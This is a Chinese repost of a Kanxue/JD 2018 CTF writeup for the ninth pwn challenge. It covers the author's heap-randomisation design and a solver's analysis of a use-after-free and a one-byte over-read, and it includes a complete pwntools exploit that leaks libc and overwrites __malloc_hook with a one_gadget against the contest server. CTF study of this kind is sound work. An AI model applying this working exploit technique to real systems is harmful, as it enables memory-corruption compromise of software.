查看原文
其他

看雪.京东 2018 CTF 第九题 PWN-羞耻player 点评与解析

看雪CTF 看雪学院 2019-05-27


熊孩子们要放假了,作为一个再也没有暑假的人er,

表示真诚的祝福!

别拉我,我还能起来打CTF

第九题羞耻Player 共有11人攻破,

第九题作者也因此位列第四名。

攻击方 AloneWolf 继续稳步前进,由第四名上升至第三名,

aqs 本题过后,挺进前十名,

poyoten 也重进前十名。

风间仁曾在看雪2017 CTF 年中赛中取得第一名

此次究竟能否继续卫冕冠军呢?

让我们拭目以待!



看雪版主&评委 netwind 点评


本题作者构造了一个具有UAF堆漏洞的题目,利用C++特性增加一定的逆向难度,除此之外对堆分配做了特殊处理使得选手难以获得堆地址。利用点在于在编辑 AudioClip的editor的功能时存在悬挂指针。


看雪.京东 2018 CTF 第九题 作者简介


此恨不关风月

bbs.pediy.com/user-811934

第九题出题者简介:


看雪ID:此恨不关风月         

无(作者表示并不想写简介




看雪.京东 2018 CTF 第九题 设计思路


题目设计


C++ 编写,利用C++特性 增加一定的逆向难度


除此之外 对堆分配做了特殊处理  使得选手难以获得堆地址


void fuck_the_heap(){
   int i;
   uint8_t *chunks[0x200];
   int seed;
   int fd;

   fd = open("/dev/urandom", O_RDONLY);
   if(fd < 0){
       exit(1);
   }

   if(read(fd, &seed, 4)!=4){
       exit(1);
   }
   close(fd);

   srand(seed);
   
   
   for(i=0;i<0x100;i++){
       chunks[i] = new uint8_t[rand() & 0xFF];
   }

   for(i=0;i<0x100;i++){
       if(rand() % 3 == 0){
           delete[] chunks[i];
       }
       chunks[i] = NULL;
   }

   seed = 0;
}

题目的利用点在于 在编辑 AudioClip 的editor的功能下存在悬挂指针

if(!newData){
   exit(1);
}
delete[] data;
data = newData;


PS:题目以及解体脚本在附件中(点击阅读原文查看下载)




看雪.京东 2018 CTF 第九题解析


*本解析来自看雪论坛 diycode


C++写的堆溢出考题,保护全开。

 

载入IDA分析,在程序开头0x12B0处,做了随机化的堆操作:

 

如图,先256次随机大小的分配,然后随机释放掉其中的一部分。这时候堆会显得比较乱,如下:

(0x20)     fastbin[0]: 0x5555557936d0 --> 0x5555557904c0 --> 0x55555578f9f0 --> 0x55555578f9d0 --> 0x55555578f400 --> 0x55555578dc50 --> 0x55555578c8c0 --> 0x55555578b850 --> 0x0
(0x30)     fastbin[1]: 0x555555790470 --> 0x55555578f600 --> 0x55555578dc20 --> 0x55555578cf40 --> 0x55555578b820 --> 0x0
(0x40)     fastbin[2]: 0x5555557937f0 --> 0x555555790640 --> 0x55555578e1f0 --> 0x55555578d5f0 --> 0x55555578bd10 --> 0x55555578b4e0 --> 0x0
(0x50)     fastbin[3]: 0x555555792370 --> 0x5555557913a0 --> 0x55555578cd00 --> 0x0
(0x60)     fastbin[4]: 0x555555791eb0 --> 0x5555557914d0 --> 0x55555578f330 --> 0x0
(0x70)     fastbin[5]: 0x5555557910e0 --> 0x555555790500 --> 0x55555578f850 --> 0x55555578e910 --> 0x55555578cd50 --> 0x55555578c4b0 --> 0x55555578ae30 --> 0x0
(0x80)     fastbin[6]: 0x555555793380 --> 0x555555792850 --> 0x55555578f710 --> 0x55555578f1d0 --> 0x55555578c3f0 --> 0x55555578b0b0 --> 0x0
                 top: 0x555555793f10 (size : 0x170f0)
      last_remainder: 0x0 (size : 0x0)
           unsortbin: 0x555555793ba0 (size : 0xb0) <--> 0x555555793920 (size : 0x100) <--> 0x5555557936f0 (size : 0x100) <--> 0x555555793440 (size : 0x140) <--> 0x5555557930a0 (size : 0x1b0) <--> 0x555555792f00 (size : 0xa0) <--> 0x555555792cc0 (size : 0xe0) <--> 0x5555557928d0 (size : 0x130) <--> 0x555555791c80 (size : 0x110) <--> 0x555555791bb0 (size : 0xa0) <--> 0x555555791a80 (size : 0x90) <--> 0x555555791820 (size : 0x1b0) <--> 0x555555791680 (size : 0xe0) <--> 0x555555790770 (size : 0x280) <--> 0x5555557902b0 (size : 0xe0) <--> 0x55555578fa10 (size : 0x350) <--> 0x55555578f010 (size : 0x1c0) <--> 0x55555578ed00 (size : 0x210) <--> 0x55555578eae0 (size : 0xf0) <--> 0x55555578e810 (size : 0x100) <--> 0x55555578e500 (size : 0xa0) <--> 0x55555578e3d0 (size : 0xa0) <--> 0x55555578dd50 (size : 0xa0) <--> 0x55555578d0b0 (size : 0xb0) <--> 0x55555578ce30 (size : 0x110) <--> 0x55555578cc00 (size : 0x100) <--> 0x55555578ca80 (size : 0x110) <--> 0x55555578c760 (size : 0xa0) <--> 0x55555578c110 (size : 0x90) <--> 0x55555578b870 (size : 0xa0) <--> 0x55555578b360 (size : 0xe0) <--> 0x55555578af60 (size : 0x150) <--> 0x55555578ac10 (size : 0xd0)


注意到随机分配的大小v0是8bit的,也就是0~255,那么只要分配一个比较大的,就可以consolidate,清空fastbin,并且把unsortbin放到smallbin里去。

 

尝试分配一个video,之后堆就干净了一些:

(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
                 top: 0x555555793f80 (size : 0x17080)
      last_remainder: 0x0 (size : 0x0)
           unsortbin: 0x0
(0x270)  smallbin[37]: 0x555555793710
(0x190)  smallbin[23]: 0x555555790ad0
(0x030)  smallbin[ 1]: 0x55555578c060  <--> 0x55555578ea20
(0x120)  smallbin[16]: 0x55555578ede0  <--> 0x555555791630  <--> 0x55555578f410
(0x090)  smallbin[ 7]: 0x55555578f7d0  <--> 0x55555578f330  <--> 0x55555578ca20
(0x080)  smallbin[ 6]: 0x55555578c4d0
(0x110)  smallbin[15]: 0x555555791f30
(0x100)  smallbin[14]: 0x55555578bee0  <--> 0x55555578cc80  <--> 0x55555578d3f0  <--> 0x55555578ced0  <--> 0x55555578b8d0  <--> 0x55555578ae50
(0x060)  smallbin[ 4]: 0x555555792f60
(0x020)  smallbin[ 0]: 0x55555578cc00  <--> 0x55555578fce0  <--> 0x555555790ef0  <--> 0x555555790fa0  <--> 0x5555557923c0
(0x0e0)  smallbin[12]: 0x55555578d160  <--> 0x55555578e240
(0x0d0)  smallbin[11]: 0x555555790d60  <--> 0x555555793170  <--> 0x555555791a60  <--> 0x55555578b510
(0x0b0)  smallbin[ 9]: 0x55555578bc20
(0x150)  smallbin[19]: 0x55555578fe60  <--> 0x55555578d890
(0x0f0)  smallbin[13]: 0x55555578d660  <--> 0x555555793020  <--> 0x55555578e4d0
(0x1a0)  smallbin[24]: 0x5555557913e0
(0x130)  smallbin[17]: 0x555555791020
(0x070)  smallbin[ 5]: 0x55555578dcd0  <--> 0x55555578e3d0  <--> 0x5555557908e0  <--> 0x555555793640
(0x240)  smallbin[34]: 0x55555578b640
(0x040)  smallbin[ 2]: 0x55555578c850  <--> 0x555555793390
(0x180)  smallbin[22]: 0x555555792980
(0x1e0)  smallbin[28]: 0x55555578eaa0
(0x0a0)  smallbin[ 8]: 0x555555790150  <--> 0x55555578e0a0  <--> 0x55555578bad0
(0x050)  smallbin[ 3]: 0x55555578dbd0  <--> 0x55555578dee0  <--> 0x55555578f700  <--> 0x555555791c40  <--> 0x5555557926e0
(0x2c0)  smallbin[42]: 0x55555578f000
(0x140)  smallbin[18]: 0x5555557906c0
(0x0c0)  smallbin[10]: 0x55555578b0b0  <--> 0x55555578c130  <--> 0x55555578bde0


回头看程序,看video相关操作。0x203C70处是它的vtable,里面4个函数分别是增改删查功能。

 

动态调试标出结构体。然后看添加video的逻辑,如下:

 

 

其中frames最大1024,并且会更新为实际读入的内容长度。

 

但是在play功能部分,可以看到循环上界有问题:




这里多输出了一个字节,那么可以走这里逐字节泄漏libc。

 

最后看编辑功能,如下:




可以看到这里有明显的UAF。

 

那么,总体来说就是非常直接的一道题了,简单总结一下看到的两个明显漏洞:

  1. edit时的UAF

  2. play的时候多输出一个byte

(不知道还有没有其他漏洞)

 

于是先搞出0x410的unsortbin,然后反复edit即可逐byte泄漏出unsortbin的bk指针,也就拿到了libc偏移。

 

然后就随便玩了,fastbin重定向或者house of orange都可以,或者再泄漏堆,修改堆上的vtable也行,总之八仙过海各显神通,大家各凭本事就好。我这里是用fastbin把malloc_hook改成one_gadget,完整利用如下:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
context.arch = 'amd64'

def login():
   r.sendlineafter('Name?\n', 'qwe')

def add_video(res, fps, frames, data, des):
   r.sendlineafter('>>> ', '1')
   r.sendlineafter('>>> ', '1')
   r.sendafter(': ', res)
   r.sendafter(': ', fps)
   r.sendafter(': ', frames)
   r.sendafter(': ', data)
   r.sendafter(': ', des)

def fre(idx):
   r.sendlineafter('>>> ', '4')
   r.sendlineafter(': ', str(idx))

def show_video(idx):
   r.sendlineafter('>>> ', '3')
   r.sendlineafter(': ', str(idx))
   r.recvuntil('...\n')
   tmp = r.recvline().strip()
   tmp = xor(tmp, '\xcc')
   return tmp

def edit_video(idx, res, fps, frames, data, des):
   r.sendlineafter('>>> ', '2')
   r.sendlineafter(': ', str(idx))
   r.sendafter(': ', res)
   r.sendafter(': ', fps)
   r.sendafter(': ', frames)
   r.sendafter(': ', data)
   r.sendafter(': ', des)


def exploit(r):
   login()
   add_video('AAAAAAAA', 'AAAA', 'AAAA', 'AAAAAAAAAAA', 'AAAA')
   add_video('AAAAAAAA', 'AAAA', 'AAAA', 'AAAAAAAAAAA', 'AAAA')
   fre(0)
   leak = '\x00'
   for i in range(1, 6):
       edit_video(1, 'AAAAAAAA', 'AAAA', 'AAAA', '\x00'*i, 'AAAA')
       leak += show_video(1)[-1]
   leak += '\x00\x00'
   libc.address = u64(leak) - libc.sym['__malloc_hook'] + 0x10
   info('%016x libc.address', libc.address)
   edit_video(1, 'AAAAAAAA', 'AAAA', p32(0x70-8), p64(libc.sym['__malloc_hook']-19), 'AAAA')
   add_video('AAAAAAAA', 'AAAA', p32(0x70-8), p64(libc.sym['__malloc_hook']-19), 'AAAA')
   add_video('AAAAAAAA', 'AAAA', p32(0x70-8), '\x00'*3 + p64(libc.address+0x4526a), 'AAAA')
   r.sendlineafter('>>> ', '1')
   r.sendlineafter('>>> ', '1')

   r.interactive()
libc = ELF('./libc.so.6')
r = remote('139.199.99.130', 8989)
exploit(r)

当然因为程序开头的一些随机操作,这个利用概率性成功。提高利用成功率留作习题。

 

PS:有点残念,这题不到一个钟头就做完了,不过当时没有服务器信息,等到将近四点才拿到flag……不过还是非常感谢netwind斑竹!







合作伙伴

京东集团是中国收入最大的互联网企业之一,于2014年5月在美国纳斯达克证券交易所正式挂牌上市,业务涉及电商、金融和物流三大板块。

 

京东是一家技术驱动成长的公司,并发布了“第四次零售革命”下的京东技术发展战略。信息安全作为保障业务发展顺利进行的基石发挥着举足轻重的作用。为此,京东信息安全部从成立伊始就投入大量技术和资源,支撑京东全业务线安全发展,为用户、供应商和京东打造强大的安全防护盾。

 

随着京东全面走向技术化,大力发展人工智能、大数据、机器自动化等技术,将过去十余年积累的技术与运营优势全面升级。面向AI安全、IoT安全、云安全的机遇及挑战,京东安全积极布局全球化背景下的安全人才,开展前瞻性技术研究,成立了硅谷研发中心、安全攻防实验室等,并且与全球AI安全领域知名的高校、研究机构建立了深度合作。

 

京东不仅积极践行企业安全责任,同时希望以中立、开放、共赢的态度,与友商、行业、高校、政府等共同建设互联网安全生态,促进整个互联网的安全发展。


CTF 旗帜已经升起,等你来战!

扫描二维码,立即参战!



看雪.京东 2018 CTF 





看雪2018安全开发者峰会

2018年7月21日,拥有18年悠久历史的老牌安全技术社区——看雪学院联手国内最大开发者社区CSDN,倾力打造一场技术干货的饕餮盛宴——2018 安全开发者峰会,将在国家会议中心隆重举行。会议面向开发者、安全人员及高端技术从业人员,是国内开发者与安全人才的年度盛事。此外峰会将展现当前最新、最前沿技术成果,汇聚年度最强实践案例,为中国软件开发者们呈献了一份年度技术实战解析全景图。



戳下图↓,立即购票,享5折优惠!







戳原文,立刻加入战斗!

    您可能也对以下帖子感兴趣

    文章有问题?点此查看未经处理的缓存